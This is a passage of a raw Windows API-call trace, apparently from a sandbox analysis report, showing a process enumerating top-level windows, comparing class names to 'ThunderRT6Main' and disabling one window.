(hWnd=0x1008a, uCmd=0x2) returned 0x1007a [0099.875] GetClassNameA (in: hWnd=0x1007a, lpClassName=0x24c490, nMaxCount=64 | out: lpClassName="tooltips_class32") returned 16 [0099.876] lstrcmpA (lpString1="tooltips_class32", lpString2="ThunderRT6Main") returned 1 [0099.876] GetWindowThreadProcessId (in: hWnd=0x1007a, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x428 [0099.876] GetWindow (hWnd=0x1007a, uCmd=0x2) returned 0x10078 [0099.876] GetClassNameA (in: hWnd=0x10078, lpClassName=0x24c490, nMaxCount=64 | out: lpClassName="tooltips_class32") returned 16 [0099.876] lstrcmpA (lpString1="tooltips_class32", lpString2="ThunderRT6Main") returned 1 [0099.876] GetWindowThreadProcessId (in: hWnd=0x10078, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x428 [0099.876] GetWindow (hWnd=0x10078, uCmd=0x2) returned 0x10074 [0099.876] GetClassNameA (in: hWnd=0x10074, lpClassName=0x24c490, nMaxCount=64 | out: lpClassName="tooltips_class32") returned 16 [0099.876] lstrcmpA (lpString1="tooltips_class32", lpString2="ThunderRT6Main") returned 1 [0099.876] GetWindowThreadProcessId (in: hWnd=0x10074, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x428 [0099.876] GetWindow (hWnd=0x10074, uCmd=0x2) returned 0x10052 [0099.876] GetClassNameA (in: hWnd=0x10052, lpClassName=0x24c490, nMaxCount=64 | out: lpClassName="MSCTFIME UI") returned 11 [0099.876] lstrcmpA (lpString1="MSCTFIME UI", lpString2="ThunderRT6Main") returned -1 [0099.876] GetWindowThreadProcessId (in: hWnd=0x10052, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x428 [0099.876] GetWindow (hWnd=0x10052, uCmd=0x2) returned 0x1004e [0099.876] GetClassNameA (in: hWnd=0x1004e, lpClassName=0x24c490, nMaxCount=64 | out: lpClassName="IME") returned 3 [0099.876] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0099.876] GetWindowThreadProcessId (in: hWnd=0x1004e, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x428 [0099.876] GetWindow (hWnd=0x1004e, uCmd=0x2) returned 0x10054 [0099.876] GetClassNameA (in: hWnd=0x10054, lpClassName=0x24c490, nMaxCount=64 | out: lpClassName="Button") returned 6 [0099.876] lstrcmpA (lpString1="Button", lpString2="ThunderRT6Main") returned -1 [0099.876] GetWindowThreadProcessId (in: hWnd=0x10054, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x428 [0099.876] GetWindow (hWnd=0x10054, uCmd=0x2) returned 0x10050 [0099.876] GetClassNameA (in: hWnd=0x10050, lpClassName=0x24c490, nMaxCount=64 | out: lpClassName="Shell_TrayWnd") returned 13 [0099.876] lstrcmpA (lpString1="Shell_TrayWnd", lpString2="ThunderRT6Main") returned -1 [0099.876] GetWindowThreadProcessId (in: hWnd=0x10050, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x428 [0099.876] GetWindow (hWnd=0x10050, uCmd=0x2) returned 0x100f4 [0099.876] GetClassNameA (in: hWnd=0x100f4, lpClassName=0x24c490, nMaxCount=64 | out: lpClassName="tooltips_class32") returned 16 [0099.876] lstrcmpA (lpString1="tooltips_class32", lpString2="ThunderRT6Main") returned 1 [0099.876] GetWindowThreadProcessId (in: hWnd=0x100f4, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x3a0 [0099.876] GetWindow (hWnd=0x100f4, uCmd=0x2) returned 0x5009a [0099.876] GetClassNameA (in: hWnd=0x5009a, lpClassName=0x24c490, nMaxCount=64 | out: lpClassName="tooltips_class32") returned 16 [0099.876] lstrcmpA (lpString1="tooltips_class32", lpString2="ThunderRT6Main") returned 1 [0099.876] GetWindowThreadProcessId (in: hWnd=0x5009a, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x428 [0099.876] GetWindow (hWnd=0x5009a, uCmd=0x2) returned 0x1008c [0099.876] GetClassNameA (in: hWnd=0x1008c, lpClassName=0x24c490, nMaxCount=64 | out: lpClassName="TaskListThumbnailWnd") returned 20 [0099.876] lstrcmpA (lpString1="TaskListThumbnailWnd", lpString2="ThunderRT6Main") returned -1 [0099.876] GetWindowThreadProcessId (in: hWnd=0x1008c, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x428 [0099.876] GetWindow (hWnd=0x1008c, uCmd=0x2) returned 0x200e6 [0099.877] GetClassNameA (in: hWnd=0x200e6, lpClassName=0x24c490, nMaxCount=64 | out: lpClassName="Desktop User Picture") returned 20 [0099.877] lstrcmpA (lpString1="Desktop User Picture", lpString2="ThunderRT6Main") returned -1 [0099.877] GetWindowThreadProcessId (in: hWnd=0x200e6, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x428 [0099.877] GetWindow (hWnd=0x200e6, uCmd=0x2) returned 0x1021a [0099.877] GetClassNameA (in: hWnd=0x1021a, lpClassName=0x24c490, nMaxCount=64 | out: lpClassName="MSCTFIME UI") returned 11 [0099.877] lstrcmpA (lpString1="MSCTFIME UI", lpString2="ThunderRT6Main") returned -1 [0099.877] GetWindowThreadProcessId (in: hWnd=0x1021a, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x8fc [0099.877] GetWindowLongA (hWnd=0x1021a, nIndex=-16) returned -1946157056 [0099.877] GetWindowLongPtrA (hWnd=0x1021a, nIndex=-6) returned 0x0 [0099.877] GetWindowLongPtrA (hWnd=0x1021a, nIndex=-6) returned 0x0 [0099.877] GetWindow (hWnd=0x1021a, uCmd=0x2) returned 0x2019c [0099.877] GetClassNameA (in: hWnd=0x2019c, lpClassName=0x24c490, nMaxCount=64 | out: lpClassName="IME") returned 3 [0099.877] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0099.877] GetWindowThreadProcessId (in: hWnd=0x2019c, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x8fc [0099.877] GetWindowLongA (hWnd=0x2019c, nIndex=-16) returned -1946157056 [0099.877] GetWindowLongPtrA (hWnd=0x2019c, nIndex=-6) returned 0x13f1d0000 [0099.877] GetWindowLongPtrA (hWnd=0x2019c, nIndex=-6) returned 0x13f1d0000 [0099.877] GetWindow (hWnd=0x2019c, uCmd=0x2) returned 0x101d4 [0099.877] GetClassNameA (in: hWnd=0x101d4, lpClassName=0x24c490, nMaxCount=64 | out: lpClassName="XLMAIN") returned 6 [0099.877] lstrcmpA (lpString1="XLMAIN", lpString2="ThunderRT6Main") returned 1 [0099.877] GetWindowThreadProcessId (in: hWnd=0x101d4, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x8fc [0099.877] GetWindowLongA (hWnd=0x101d4, nIndex=-16) returned 382664704 [0099.877] GetWindowLongPtrA (hWnd=0x101d4, nIndex=-6) returned 0x13f1d0000 [0099.877] GetWindowLongPtrA (hWnd=0x101d4, nIndex=-6) returned 0x13f1d0000 [0099.877] GetWindow (hWnd=0x101d4, uCmd=0x2) returned 0x101fe [0099.877] GetClassNameA (in: hWnd=0x101fe, lpClassName=0x24c490, nMaxCount=64 | out: lpClassName="MSO_BORDEREFFECT_WINDOW_CLASS") returned 29 [0099.877] lstrcmpA (lpString1="MSO_BORDEREFFECT_WINDOW_CLASS", lpString2="ThunderRT6Main") returned -1 [0099.877] GetWindowThreadProcessId (in: hWnd=0x101fe, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x8fc [0099.877] GetWindowLongA (hWnd=0x101fe, nIndex=-16) returned -1778384896 [0099.877] GetWindowLongPtrA (hWnd=0x101fe, nIndex=-6) returned 0x0 [0099.877] GetWindowLongPtrA (hWnd=0x101fe, nIndex=-6) returned 0x0 [0099.877] GetWindow (hWnd=0x101fe, uCmd=0x2) returned 0x10200 [0099.877] GetClassNameA (in: hWnd=0x10200, lpClassName=0x24c490, nMaxCount=64 | out: lpClassName="MSO_BORDEREFFECT_WINDOW_CLASS") returned 29 [0099.877] lstrcmpA (lpString1="MSO_BORDEREFFECT_WINDOW_CLASS", lpString2="ThunderRT6Main") returned -1 [0099.877] GetWindowThreadProcessId (in: hWnd=0x10200, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x8fc [0099.877] GetWindowLongA (hWnd=0x10200, nIndex=-16) returned -1778384896 [0099.877] GetWindowLongPtrA (hWnd=0x10200, nIndex=-6) returned 0x0 [0099.877] GetWindowLongPtrA (hWnd=0x10200, nIndex=-6) returned 0x0 [0099.877] GetWindow (hWnd=0x10200, uCmd=0x2) returned 0x10202 [0099.877] GetClassNameA (in: hWnd=0x10202, lpClassName=0x24c490, nMaxCount=64 | out: lpClassName="MSO_BORDEREFFECT_WINDOW_CLASS") returned 29 [0099.877] lstrcmpA (lpString1="MSO_BORDEREFFECT_WINDOW_CLASS", lpString2="ThunderRT6Main") returned -1 [0099.877] GetWindowThreadProcessId (in: hWnd=0x10202, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x8fc [0099.877] GetWindowLongA (hWnd=0x10202, nIndex=-16) returned -1778384896 [0099.877] GetWindowLongPtrA (hWnd=0x10202, nIndex=-6) returned 0x0 [0099.878] GetWindowLongPtrA (hWnd=0x10202, nIndex=-6) returned 0x0 [0099.878] GetWindow (hWnd=0x10202, uCmd=0x2) returned 0x10204 [0099.878] GetClassNameA (in: hWnd=0x10204, lpClassName=0x24c490, nMaxCount=64 | out: lpClassName="MSO_BORDEREFFECT_WINDOW_CLASS") returned 29 [0099.878] lstrcmpA (lpString1="MSO_BORDEREFFECT_WINDOW_CLASS", lpString2="ThunderRT6Main") returned -1 [0099.878] GetWindowThreadProcessId (in: hWnd=0x10204, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x8fc [0099.878] GetWindowLongA (hWnd=0x10204, nIndex=-16) returned -1778384896 [0099.878] GetWindowLongPtrA (hWnd=0x10204, nIndex=-6) returned 0x0 [0099.878] GetWindowLongPtrA (hWnd=0x10204, nIndex=-6) returned 0x0 [0099.878] GetWindow (hWnd=0x10204, uCmd=0x2) returned 0x302e6 [0099.878] GetClassNameA (in: hWnd=0x302e6, lpClassName=0x24c490, nMaxCount=64 | out: lpClassName="ConsoleWindowClass") returned 18 [0099.878] lstrcmpA (lpString1="ConsoleWindowClass", lpString2="ThunderRT6Main") returned -1 [0099.878] GetWindowThreadProcessId (in: hWnd=0x302e6, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0xac4 [0099.879] GetWindow (hWnd=0x302e6, uCmd=0x2) returned 0x502aa [0099.879] GetClassNameA (in: hWnd=0x502aa, lpClassName=0x24c490, nMaxCount=64 | out: lpClassName="IME") returned 3 [0099.879] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0099.879] GetWindowThreadProcessId (in: hWnd=0x502aa, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0xadc [0099.879] GetWindow (hWnd=0x502aa, uCmd=0x2) returned 0x202ca [0099.879] GetClassNameA (in: hWnd=0x202ca, lpClassName=0x24c490, nMaxCount=64 | out: lpClassName="XLMAIN") returned 6 [0099.879] lstrcmpA (lpString1="XLMAIN", lpString2="ThunderRT6Main") returned 1 [0099.879] GetWindowThreadProcessId (in: hWnd=0x202ca, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x8fc [0099.879] GetWindowLongA (hWnd=0x202ca, nIndex=-16) returned 382664704 [0099.879] GetWindowLongPtrA (hWnd=0x202ca, nIndex=-6) returned 0x13f1d0000 [0099.879] GetWindowLongPtrA (hWnd=0x202ca, nIndex=-6) returned 0x13f1d0000 [0099.879] GetWindow (hWnd=0x202ca, uCmd=0x2) returned 0x20266 [0099.879] GetClassNameA (in: hWnd=0x20266, lpClassName=0x24c490, nMaxCount=64 | out: lpClassName="MSO_BORDEREFFECT_WINDOW_CLASS") returned 29 [0099.879] lstrcmpA (lpString1="MSO_BORDEREFFECT_WINDOW_CLASS", lpString2="ThunderRT6Main") returned -1 [0099.879] GetWindowThreadProcessId (in: hWnd=0x20266, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x8fc [0099.879] GetWindowLongA (hWnd=0x20266, nIndex=-16) returned -2046820352 [0099.879] GetWindowLongPtrA (hWnd=0x20266, nIndex=-6) returned 0x0 [0099.879] GetWindowLongPtrA (hWnd=0x20266, nIndex=-6) returned 0x0 [0099.879] GetWindow (hWnd=0x20266, uCmd=0x2) returned 0x20268 [0099.879] GetClassNameA (in: hWnd=0x20268, lpClassName=0x24c490, nMaxCount=64 | out: lpClassName="MSO_BORDEREFFECT_WINDOW_CLASS") returned 29 [0099.879] lstrcmpA (lpString1="MSO_BORDEREFFECT_WINDOW_CLASS", lpString2="ThunderRT6Main") returned -1 [0099.879] GetWindowThreadProcessId (in: hWnd=0x20268, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x8fc [0099.879] GetWindowLongA (hWnd=0x20268, nIndex=-16) returned -2046820352 [0099.879] GetWindowLongPtrA (hWnd=0x20268, nIndex=-6) returned 0x0 [0099.879] GetWindowLongPtrA (hWnd=0x20268, nIndex=-6) returned 0x0 [0099.879] GetWindow (hWnd=0x20268, uCmd=0x2) returned 0x3026a [0099.879] GetClassNameA (in: hWnd=0x3026a, lpClassName=0x24c490, nMaxCount=64 | out: lpClassName="MSO_BORDEREFFECT_WINDOW_CLASS") returned 29 [0099.879] lstrcmpA (lpString1="MSO_BORDEREFFECT_WINDOW_CLASS", lpString2="ThunderRT6Main") returned -1 [0099.879] GetWindowThreadProcessId (in: hWnd=0x3026a, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x8fc [0099.879] GetWindowLongA (hWnd=0x3026a, nIndex=-16) returned -2046820352 [0099.879] GetWindowLongPtrA (hWnd=0x3026a, nIndex=-6) returned 0x0 [0099.879] GetWindowLongPtrA (hWnd=0x3026a, nIndex=-6) returned 0x0 [0099.880] GetWindow (hWnd=0x3026a, uCmd=0x2) returned 0x600d0 [0099.880] GetClassNameA (in: hWnd=0x600d0, lpClassName=0x24c490, nMaxCount=64 | out: lpClassName="MSO_BORDEREFFECT_WINDOW_CLASS") returned 29 [0099.880] lstrcmpA (lpString1="MSO_BORDEREFFECT_WINDOW_CLASS", lpString2="ThunderRT6Main") returned -1 [0099.880] GetWindowThreadProcessId (in: hWnd=0x600d0, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x8fc [0099.880] GetWindowLongA (hWnd=0x600d0, nIndex=-16) returned -2046820352 [0099.880] GetWindowLongPtrA (hWnd=0x600d0, nIndex=-6) returned 0x0 [0099.880] GetWindowLongPtrA (hWnd=0x600d0, nIndex=-6) returned 0x0 [0099.880] GetWindow (hWnd=0x600d0, uCmd=0x2) returned 0x202b0 [0099.880] GetClassNameA (in: hWnd=0x202b0, lpClassName=0x24c490, nMaxCount=64 | out: lpClassName="ThunderMain") returned 11 [0099.880] lstrcmpA (lpString1="ThunderMain", lpString2="ThunderRT6Main") returned -1 [0099.880] GetWindowThreadProcessId (in: hWnd=0x202b0, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x8fc [0099.880] GetWindowLongA (hWnd=0x202b0, nIndex=-16) returned -2080374784 [0099.880] GetWindowLongPtrA (hWnd=0x202b0, nIndex=-6) returned 0x7fee5ce0000 [0099.880] IsWindowEnabled (hWnd=0x202b0) returned 1 [0099.880] GetPropA (hWnd=0x202b0, lpString=0xc137) returned 0x0 [0099.880] SetPropA (hWnd=0x202b0, lpString=0xc137, hData=0x1) returned 1 [0099.881] EnableWindow (hWnd=0x202b0, bEnable=0) returned 0 [0099.881] GetWindow (hWnd=0x202b0, uCmd=0x2) returned 0x2026e [0099.881] GetClassNameA (in: hWnd=0x2026e, lpClassName=0x24c490, nMaxCount=64 | out: lpClassName="ComboLBox") returned 9 [0099.881] lstrcmpA (lpString1="ComboLBox", lpString2="ThunderRT6Main") returned -1 [0099.881] GetWindowThreadProcessId (in: hWnd=0x2026e, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x8fc [0099.881] GetWindowLongA (hWnd=0x2026e, nIndex=-16) returned 1149272145 [0099.881] GetWindow (hWnd=0x2026e, uCmd=0x2) returned 0x10296 [0099.881] GetClassNameA (in: hWnd=0x10296, lpClassName=0x24c490, nMaxCount=64 | out: lpClassName="WorkerW") returned 7 [0099.881] lstrcmpA (lpString1="WorkerW", lpString2="ThunderRT6Main") returned 1 [0099.881] GetWindowThreadProcessId (in: hWnd=0x10296, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0xa30 [0099.881] GetWindow (hWnd=0x10296, uCmd=0x2) returned 0x20232 [0099.881] GetClassNameA (in: hWnd=0x20232, lpClassName=0x24c490, nMaxCount=64 | out: lpClassName="CFD File Open Message Window") returned 28 [0099.882] lstrcmpA (lpString1="CFD File Open Message Window", lpString2="ThunderRT6Main") returned -1 [0099.882] GetWindowThreadProcessId (in: hWnd=0x20232, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x8fc [0099.882] GetWindowLongA (hWnd=0x20232, nIndex=-16) returned 213909504 [0099.882] GetWindowLongPtrA (hWnd=0x20232, nIndex=-6) returned 0x7feef2c0000 [0099.882] GetWindowLongPtrA (hWnd=0x20232, nIndex=-6) returned 0x7feef2c0000 [0099.882] GetWindow (hWnd=0x20232, uCmd=0x2) returned 0x1022e [0099.882] GetClassNameA (in: hWnd=0x1022e, lpClassName=0x24c490, nMaxCount=64 | out: lpClassName="MsoStdCompMgr") returned 13 [0099.882] lstrcmpA (lpString1="MsoStdCompMgr", lpString2="ThunderRT6Main") returned -1 [0099.882] GetWindowThreadProcessId (in: hWnd=0x1022e, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x8fc [0099.882] GetWindowLongA (hWnd=0x1022e, nIndex=-16) returned -2080374784 [0099.882] GetWindowLongPtrA (hWnd=0x1022e, nIndex=-6) returned 0x7fef2470000 [0099.882] GetWindowLongPtrA (hWnd=0x1022e, nIndex=-6) returned 0x7fef2470000 [0099.882] GetWindow (hWnd=0x1022e, uCmd=0x2) returned 0x101d2 [0099.882] GetClassNameA (in: hWnd=0x101d2, lpClassName=0x24c490, nMaxCount=64 | out: lpClassName="MSO_BORDEREFFECT_WINDOW_CLASS") returned 29 [0099.882] lstrcmpA (lpString1="MSO_BORDEREFFECT_WINDOW_CLASS", lpString2="ThunderRT6Main") returned -1 [0099.882] GetWindowThreadProcessId (in: hWnd=0x101d2, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x8fc [0099.882] GetWindowLongA (hWnd=0x101d2, nIndex=-16) returned -2046820352 [0099.882] GetWindowLongPtrA (hWnd=0x101d2, nIndex=-6) returned 0x0 [0099.882] GetWindowLongPtrA (hWnd=0x101d2, nIndex=-6) returned 0x0 [0099.882] GetWindow (hWnd=0x101d2, uCmd=0x2) returned 0x101d0 [0099.882] GetClassNameA (in: hWnd=0x101d0, lpClassName=0x24c490, nMaxCount=64 | out: lpClassName="MSO_BORDEREFFECT_WINDOW_CLASS") returned 29 [0099.882] lstrcmpA (lpString1="MSO_BORDEREFFECT_WINDOW_CLASS", lpString2="ThunderRT6Main") returned -1 [0099.882] GetWindowThreadProcessId (in: hWnd=0x101d0, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x8fc [0099.882] GetWindowLongA (hWnd=0x101d0, nIndex=-16) returned -2046820352 [0099.882] GetWindowLongPtrA (hWnd=0x101d0, nIndex=-6) returned 0x0 [0099.882] GetWindowLongPtrA (hWnd=0x101d0, nIndex=-6) returned 0x0 [0099.882] GetWindow (hWnd=0x101d0, uCmd=0x2) returned 0x101ce [0099.882] GetClassNameA (in: hWnd=0x101ce, lpClassName=0x24c490, nMaxCount=64 | out: lpClassName="MSO_BORDEREFFECT_WINDOW_CLASS") returned 29 [0099.882] lstrcmpA (lpString1="MSO_BORDEREFFECT_WINDOW_CLASS", lpString2="ThunderRT6Main") returned -1 [0099.882] GetWindowThreadProcessId (in: hWnd=0x101ce, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x8fc [0099.882] GetWindowLongA (hWnd=0x101ce, nIndex=-16) returned -2046820352 [0099.882] GetWindowLongPtrA (hWnd=0x101ce, nIndex=-6) returned 0x0 [0099.882] GetWindowLongPtrA (hWnd=0x101ce, nIndex=-6) returned 0x0 [0099.882] GetWindow (hWnd=0x101ce, uCmd=0x2) returned 0x101cc [0099.882] GetClassNameA (in: hWnd=0x101cc, lpClassName=0x24c490, nMaxCount=64 | out: lpClassName="MSO_BORDEREFFECT_WINDOW_CLASS") returned 29 [0099.882] lstrcmpA (lpString1="MSO_BORDEREFFECT_WINDOW_CLASS", lpString2="ThunderRT6Main") returned -1 [0099.882] GetWindowThreadProcessId (in: hWnd=0x101cc, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x8fc [0099.883] GetWindowLongA (hWnd=0x101cc, nIndex=-16) returned -2046820352 [0099.883] GetWindowLongPtrA (hWnd=0x101cc, nIndex=-6) returned 0x0 [0099.883] GetWindowLongPtrA (hWnd=0x101cc, nIndex=-6) returned 0x0 [0099.883] GetWindow (hWnd=0x101cc, uCmd=0x2) returned 0x301a2 [0099.883] GetClassNameA (in: hWnd=0x301a2, lpClassName=0x24c490, nMaxCount=64 | out: lpClassName="XLMAIN") returned 6 [0099.883] lstrcmpA (lpString1="XLMAIN", lpString2="ThunderRT6Main") returned 1 [0099.883] GetWindowThreadProcessId (in: hWnd=0x301a2, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x8fc [0099.883] GetWindowLongA (hWnd=0x301a2, nIndex=-16) returned 114229248 [0099.883] GetWindowLongPtrA (hWnd=0x301a2, nIndex=-6) returned 0x13f1d0000 [0099.883] GetWindowLongPtrA (hWnd=0x301a2, nIndex=-6) returned 0x13f1d0000 [0099.883] GetWindow (hWnd=0x301a2, uCmd=0x2) returned 0x401a4 [0099.883] GetClassNameA (in: hWnd=0x401a4, lpClassName=0x24c490, nMaxCount=64 | out: lpClassName="OfficePowerManagerWindow") returned 24 [0099.883] lstrcmpA (lpString1="OfficePowerManagerWindow", lpString2="ThunderRT6Main") returned -1 [0099.883] GetWindowThreadProcessId (in: hWnd=0x401a4, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x914 [0099.883] GetWindow (hWnd=0x401a4, uCmd=0x2) returned 0x201a0 [0099.883] GetClassNameA (in: hWnd=0x201a0, lpClassName=0x24c490, nMaxCount=64 | out: lpClassName="ARC Window Class O16") returned 20 [0099.883] lstrcmpA (lpString1="ARC Window Class O16", lpString2="ThunderRT6Main") returned -1 [0099.883] GetWindowThreadProcessId (in: hWnd=0x201a0, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x8fc [0099.883] GetWindowLongA (hWnd=0x201a0, nIndex=-16) returned -2080374784 [0099.883] GetWindowLongPtrA (hWnd=0x201a0, nIndex=-6) returned 0x13f1d0000 [0099.883] GetWindowLongPtrA (hWnd=0x201a0, nIndex=-6) returned 0x13f1d0000 [0099.883] GetWindow (hWnd=0x201a0, uCmd=0x2) returned 0x10194 [0099.883] GetClassNameA (in: hWnd=0x10194, lpClassName=0x24c490, nMaxCount=64 | out: lpClassName="IME") returned 3 [0099.883] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0099.883] GetWindowThreadProcessId (in: hWnd=0x10194, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x7c4 [0099.883] GetWindow (hWnd=0x10194, uCmd=0x2) returned 0x10192 [0099.883] GetClassNameA (in: hWnd=0x10192, lpClassName=0x24c490, nMaxCount=64 | out: lpClassName="spendwin") returned 8 [0099.883] lstrcmpA (lpString1="spendwin", lpString2="ThunderRT6Main") returned -1 [0099.883] GetWindowThreadProcessId (in: hWnd=0x10192, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x7c4 [0099.883] GetWindow (hWnd=0x10192, uCmd=0x2) returned 0x20208 [0099.883] GetClassNameA (in: hWnd=0x20208, lpClassName=0x24c490, nMaxCount=64 | out: lpClassName="OleDdeWndClass") returned 14 [0099.883] lstrcmpA (lpString1="OleDdeWndClass", lpString2="ThunderRT6Main") returned -1 [0099.883] GetWindowThreadProcessId (in: hWnd=0x20208, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x8fc [0099.883] GetWindowLongA (hWnd=0x20208, nIndex=-16) returned -2080374784 [0099.884] GetWindowLongPtrA (hWnd=0x20208, nIndex=-6) returned 0x7feffa40000 [0099.884] GetWindowLongPtrA (hWnd=0x20208, nIndex=-6) returned 0x7feffa40000 [0099.884] GetWindow (hWnd=0x20208, uCmd=0x2) returned 0x201fa [0099.884] GetClassNameA (in: hWnd=0x201fa, lpClassName=0x24c490, nMaxCount=64 | out: lpClassName="ComboLBox") returned 9 [0099.884] lstrcmpA (lpString1="ComboLBox", lpString2="ThunderRT6Main") returned -1 [0099.884] GetWindowThreadProcessId (in: hWnd=0x201fa, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x8fc [0099.884] GetWindowLongA (hWnd=0x201fa, nIndex=-16) returned 1149272145 [0099.884] GetWindow (hWnd=0x201fa, uCmd=0x2) returned 0x101c8 [0099.884] GetClassNameA (in: hWnd=0x101c8, lpClassName=0x24c490, nMaxCount=64 | out: lpClassName="ComboLBox") returned 9 [0099.884] lstrcmpA (lpString1="ComboLBox", lpString2="ThunderRT6Main") returned -1 [0099.884] GetWindowThreadProcessId (in: hWnd=0x101c8, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x8fc [0099.884] GetWindowLongA (hWnd=0x101c8, nIndex=-16) returned 1149272145 [0099.884] GetWindow (hWnd=0x101c8, uCmd=0x2) returned 0x1018e [0099.884] GetClassNameA (in: hWnd=0x1018e, lpClassName=0x24c490, nMaxCount=64 | out: lpClassName="Possiblycls") returned 11 [0099.884] lstrcmpA (lpString1="Possiblycls", lpString2="ThunderRT6Main") returned -1 [0099.884] GetWindowThreadProcessId (in: hWnd=0x1018e, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x5c0 [0099.884] GetWindow (hWnd=0x1018e, uCmd=0x2) returned 0x10190 [0099.884] GetClassNameA (in: hWnd=0x10190, lpClassName=0x24c490, nMaxCount=64 | out: lpClassName="IME") returned 3 [0099.884] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0099.884] GetWindowThreadProcessId (in: hWnd=0x10190, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x5c0 [0099.884] GetWindow (hWnd=0x10190, uCmd=0x2) returned 0x1018a [0099.884] GetClassNameA (in: hWnd=0x1018a, lpClassName=0x24c490, nMaxCount=64 | out: lpClassName="completingapp") returned 13 [0099.884] lstrcmpA (lpString1="completingapp", lpString2="ThunderRT6Main") returned -1 [0099.884] GetWindowThreadProcessId (in: hWnd=0x1018a, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x79c [0099.884] GetWindow (hWnd=0x1018a, uCmd=0x2) returned 0x1018c [0099.884] GetClassNameA (in: hWnd=0x1018c, lpClassName=0x24c490, nMaxCount=64 | out: lpClassName="IME") returned 3 [0099.884] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0099.884] GetWindowThreadProcessId (in: hWnd=0x1018c, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x79c [0099.884] GetWindow (hWnd=0x1018c, uCmd=0x2) returned 0x10186 [0099.884] GetClassNameA (in: hWnd=0x10186, lpClassName=0x24c490, nMaxCount=64 | out: lpClassName="Household") returned 9 [0099.884] lstrcmpA (lpString1="Household", lpString2="ThunderRT6Main") returned -1 [0099.884] GetWindowThreadProcessId (in: hWnd=0x10186, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x3b0 [0099.884] GetWindow (hWnd=0x10186, uCmd=0x2) returned 0x10188 [0099.885] GetClassNameA (in: hWnd=0x10188, lpClassName=0x24c490, nMaxCount=64 | out: lpClassName="IME") returned 3 [0099.885] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0099.885] GetWindowThreadProcessId (in: hWnd=0x10188, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x3b0 [0099.885] GetWindow (hWnd=0x10188, uCmd=0x2) returned 0x10182 [0099.885] GetClassNameA (in: hWnd=0x10182, lpClassName=0x24c490, nMaxCount=64 | out: lpClassName="mjvidsclass") returned 11 [0099.885] lstrcmpA (lpString1="mjvidsclass", lpString2="ThunderRT6Main") returned -1 [0099.885] GetWindowThreadProcessId (in: hWnd=0x10182, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x450 [0099.885] GetWindow (hWnd=0x10182, uCmd=0x2) returned 0x10184 [0099.885] GetClassNameA (in: hWnd=0x10184, lpClassName=0x24c490, nMaxCount=64 | out: lpClassName="IME") returned 3 [0099.885] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0099.885] GetWindowThreadProcessId (in: hWnd=0x10184, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x450 [0099.885] GetWindow (hWnd=0x10184, uCmd=0x2) returned 0x1017e [0099.885] GetClassNameA (in: hWnd=0x1017e, lpClassName=0x24c490, nMaxCount=64 | out: lpClassName="Unlessclass") returned 11 [0099.885] lstrcmpA (lpString1="Unlessclass", lpString2="ThunderRT6Main") returned 1 [0099.885] GetWindowThreadProcessId (in: hWnd=0x1017e, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x62c [0099.885] GetWindow (hWnd=0x1017e, uCmd=0x2) returned 0x10180 [0099.885] 